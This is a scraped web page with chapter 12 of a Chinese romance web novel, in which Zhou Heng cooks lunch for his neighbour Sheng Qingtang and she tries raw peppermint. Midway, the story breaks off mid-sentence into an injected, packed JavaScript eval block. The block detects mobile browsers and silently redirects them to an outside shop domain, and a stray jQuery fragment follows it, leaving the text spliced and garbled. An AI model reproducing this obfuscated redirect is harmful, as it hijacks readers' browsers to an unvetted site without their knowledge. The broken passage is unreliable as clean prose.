文趣网 > 其他小说 > 我不信你不上钩 > 12. 夜来梦
    思绪收回,他走过鞋墙,细细地打量着每一双鞋,他只收藏,不穿。

    凌晨一点半,他注册了个小红书账号,名字是统一的momo,他懒得改。

    他去搜了有关于摄影和写真的tag,点最新更新,很快他就刷到了盛清棠发的笔记。

    标题是:今天遇上个酷哥儿,但俺是酷girl!

    两张周衡的,两张她的。他滑动的瞬间突误触了点赞,周衡愣了会儿取消了。

    这段时间他做梦很频繁,会梦到房东催租,他和妈妈躲在屋里连着小半个月不敢开灯,梦到母亲自杀时那一摊红血像一幅赤裸裸的人脸在盯着他,梦到他的东西被房东丢出门外,自己在冬天睡在桥洞底下,仅有的几件棉衣被几个喜欢恶作剧的年轻人给烧掉了。

    去工地上偷水喝,饿到快要晕眩的时候翻过酒店的泔水桶,脏不脏无所谓,能活着这些都是后话。

    后来他父亲生病,为了他的骨髓把他接回来了。周衡21岁的时候才突然知道,原来自己还有父亲啊。他不喜欢周家人的嘴脸,周楷、周通海、钱方舒、周万泽,每个人都蒙了层伪善的皮,底下都是赤裸裸的肉。

    每次他想报仇时都会梦到母亲,她叫他放下,叫他好好活。

    这一觉他睡得不算好,甚至是喘不上气。他

    他挣扎着睁开眼,对上一双蓝得透澈的眼睛。

    周黑鸭不知道什么时候溜进了房间,此刻正端端正正地趴在他胸口上,两只前爪规规矩矩地收在身前,尾巴却不安分地轻轻摆动,像一蓬柔软的芦苇。见他醒了,它歪了歪脑袋,粉色的鼻头微微翕动,发出一声猫叫。

    周衡愣了两秒,回过神来。

    “下去。”他声音带着刚醒的哑。

    猫不动,反而把脑袋往他下巴处拱了拱,毛茸茸的耳朵擦过他的喉结。周衡偏过头躲了一下,它便得寸进尺地凑上来,拿脸颊蹭他的下颌线,喉咙里发出咕噜咕噜的声响。

    他没再躲,“饿了?”他下了床,浑身筋骨是疼的,“给你添点粮。”

    拉开窗帘的那一瞬间房间瞬间亮了起来,阳光毫不吝啬。

    喂完周黑鸭后正好十一点。

    一把芹菜斜靠在隔板上,原本应该挺立的茎部此刻弯得不能再弯了,顶端耷拉,叶片边缘泛着黄褐色。

    周衡皱着眉头把芹菜甩到了垃圾桶里,他又打开了水果区,几个看着新鲜的橙子散发着不太曼妙的果香。

    不新鲜和坏心情全被丢进了垃圾桶。

    “我就不去啦,这几天难得不用补习,我要给自己放个假。”

    盛清棠脖子歪下肩膀耸上,手机卡在了耳朵和肩膀之间的窝里,还挺稳。

    “我从食堂买了两个包子,中午热一下就好了。”她低着头翻找着耳机,但对方比她预料的快,提前说了句再见。

    电话结束后她才看到站在电梯右角的周衡,他手里提着一袋永辉超市的东西。

    电梯里就他们两个人。

    她快速按下了刘海整理了一番,甜兮兮地笑着,“周衡,好巧啊。”

    他淡淡“嗯”了一声。

    盛清棠先动步子,踏出电梯没几步周衡也跟上了。

    “盛清棠。”

    她步子顿住了,楼道里是全铺的白瓷砖,凉飕飕的,老给人一种起阴风的错觉。

    “你的耳钉落我这了。”

    盛清棠忽然想起自己只剩一只的海棠花耳钉,昨天翻遍了梳妆台都没找到,原来是落他那了。

    “那你现在给我吧。”她顿了一下。

    周衡一手提袋一手插兜,调子嚼得很懒散,“现在没带在身上。”

    盛清棠眨眨眼,“那你什么时候方便——”

    周黑鸭从玄关窜出来,绕着他的脚踝打转。他跨进去,弯腰换鞋,动作比平时慢了一点。

    “进来拿。”他冷不丁道。

    盛清棠虽说表面是呆呆的,但心里是止不住的暗爽。

    这是主动邀请啦?

    周黑鸭绕过周衡,蹭着盛清棠的腿转了一圈。

    “还不进来关上门?别让猫跑了。”

    周衡已经走进去了,声音从玄关拐角处飘出来,还是那副懒懒的调子,但脚步却没停,拖鞋踩在地板上发出轻微的啪嗒声。

    盛清棠低头看了一眼脚边的猫。周黑鸭仰着脑袋看她,蓝眼睛圆溜溜的,尾巴尖轻轻晃着。

    她抿了抿嘴角,把那点压不住的笑意咽回去,跨进门槛,反手带上了门。

    门锁咔嗒一声响。

    盛清棠换好拖鞋走进客厅的时候,周衡正站在厨房里。

    开放式的小厨房,和客厅连在一起。他背对着她,站在料理台前,不知道在弄什么。周黑鸭已经跳上沙发,端端正正地蹲着,尾巴轻轻晃着,像在等她。

    “那个,周衡……我耳钉。”盛清棠怕周衡忘了,提醒了他一句。

    “十二点过九分了,不得先吃饭?”

    “先吃饭?”盛清棠眼睛大了一圈,她立马凑了上去,“我可以留在这吃饭?”

    周衡沥干水时抽空甩了她一眼,“随你。”

    他说完就把那根沥干水的芹菜放到案板上,刀落下去,咚的一声。

    盛清棠站在厨房边上,看着他切菜。

    芹菜被切成均匀的小段,刀工很稳,每一段的长度都差不多。他切完芹菜,又拿过西红柿,一刀两半,再切成月牙形的薄片。

    盛清棠看着那些西红柿片,忍不住开口“你刀工好好。”

    周衡没说话,但切西红柿的动作慢了一点。

    她又往前凑了半步,下巴几乎要搁到料理台边沿了,“你知道吗,我觉得你做饭超好吃!那天晚上我就在想要是以后每天都能吃到你做的饭,让我天天刷碗都行。”

    她又耷拉了下去,弄得像只淋雨的大眼兔,“只可惜你家有洗碗机了,不缺我这个小苦力。”

    刀落在案板上,咚咚咚的,节奏比刚才快了一点。

    盛清棠的目光从洗碗机上移回来,落在他侧脸上。他切菜的样子很专注,睫毛垂着,嘴唇抿成一条线,看不出什么表情。

    周衡哼笑了一声,是那种很轻,从鼻子里发出的腔调,“你学校周围的馆子是摆设吗?”

    盛清棠的下巴原本还搁在料理台边沿上,听到此话后她的身体立马支棱了起来,整个人仰着脸看他,“馆子做的能有你做的安心吗?”她又立马开启了马屁模式,“你做的菜荤素搭配,赛过山珍,赢过海味,黄金万两摆我面前我都不换。”

    “行了,马屁都快被你拍出彩虹了。”他抽出水果刀放流水下冲了冲,“你去阳台上摘几片薄荷过来。”

    周衡家的户型和她家一样,她闭着眼都能走流畅。

    阳台上那排薄荷长得疯了一样。

    规规矩矩的一小排探着脑袋往外张望,叶片

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608975|205852||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    挤着叶片,绿得发亮。阳光打在上面,能透过去看见叶脉的纹路,像毛细血管似的,细细密密的,薄荷的中间还参杂着紫色小花。

    这和盛清棠印象中的薄荷不一样,新品种?她掐下了几片叶子放鼻子下闻了闻,薄荷味儿冲得很,直往鼻子里钻,带着点辛辣的甜。

    这是薄荷没错,这男的还有闲情养薄荷?盛清棠想了想,也许是调酒的时候要用呢?

    盛清棠捏着那几片薄荷叶子回来的时候,周衡正往锅里倒油。

    她把叶子递过去,没直接放案板上,而是悬在他手边,“喏。”

    周衡接过去,顺手丢进了水池里,水龙头一开,水流冲过那些绿叶子,颜色越发鲜亮。

    “这是薄荷吗?”盛清棠凑过去看,“跟我平时见的不太一样。”

    他没回答。

    “不说话是什么意思?”她趴在料理台边上,歪着头看他,“是还是不是?”

    周衡关了水,把薄荷叶捞出来,放在厨房纸巾上轻轻按了按,吸干水分。他的动作很轻,像是在处理什么金贵的东西。

    “是薄荷。”他说。

    盛清棠眨眨眼,“那为什么跟外面卖的不一样?外面的薄荷叶子是皱皱的,你这个是平的,而且——”她又凑近闻了闻,“味儿更冲。”

    他选了一片看上去最新鲜的开始干嚼起来。

    周衡靠在料理台边上,抱着手臂看她,“这种薄荷叫胡椒薄荷。”

    “胡椒薄荷?”

    “嗯。”他垂下眼,看着她杯子里那片浮沉的叶子,“土生土长的真薄荷,没有那么好养活,挑水土,挑光照,还得掐尖打顶。”

    “这样好吃吗?”

    周衡没有回她。

    好吧,只能自己尝试。

    盛清棠看到后伸长手拿了一片,也学着他干嚼了起来。

    薄荷刚与口腔接触的时候薄荷的香和清凉占领了整个口腔,她的牙齿刚嚼了几个回合,草味、牙膏味混着臭虫味瞬间炸开。

    “啊啊啊啊啊!!!!”

    她整张脸皱成一团,嘴巴微微张着,舌尖抵出来,像是想把刚才嚼的东西全吐出来,但又碍着面子不好意思真吐,只能硬着头皮往下咽。

    那表情精彩极了。

    周衡看着她,嘴角动了动。

    “好难吃啊啊啊啊啊!!!!”

    从旁边的架子上拿过一个玻璃壶,里面装着提前泡好的茶汤,颜色清浅,带着淡淡的琥珀色。他把茶汤倒进杯子里,冰块哗啦啦落进去,撞得杯壁叮当响。

    最后,他把那几片薄荷叶放进去,轻轻一压,薄荷的香气立刻涌上来,混着青柠和蜂蜜的清甜,还有茶汤的回甘。

    他把杯子推到她面前,“喝这个。”

    盛清棠耷拉着脑袋,嘴里的薄荷味还是没有散去。

    那杯饮品。薄荷叶浮在最上面,边缘微微卷起,冰块在杯子里慢慢融化,水珠沿着杯壁滑下来,留下一道道细细的水痕。

    她捧起来喝了一口。

    先是凉,冰块的凉从嘴唇一直蔓延到喉咙。然后是酸,青柠的酸在舌尖炸开,但很快就被蜂蜜的甜压下去。最后是薄荷的味道,不是那种廉价的、牙膏似的凉,而是一种很清透的、带着点辛辣的香,从鼻腔里往上冲,又往下走,整个人都被这股气息洗了一遍。

    她喜欢薄荷香,但是不喜欢干嚼薄荷!不,准确来说是极其讨厌!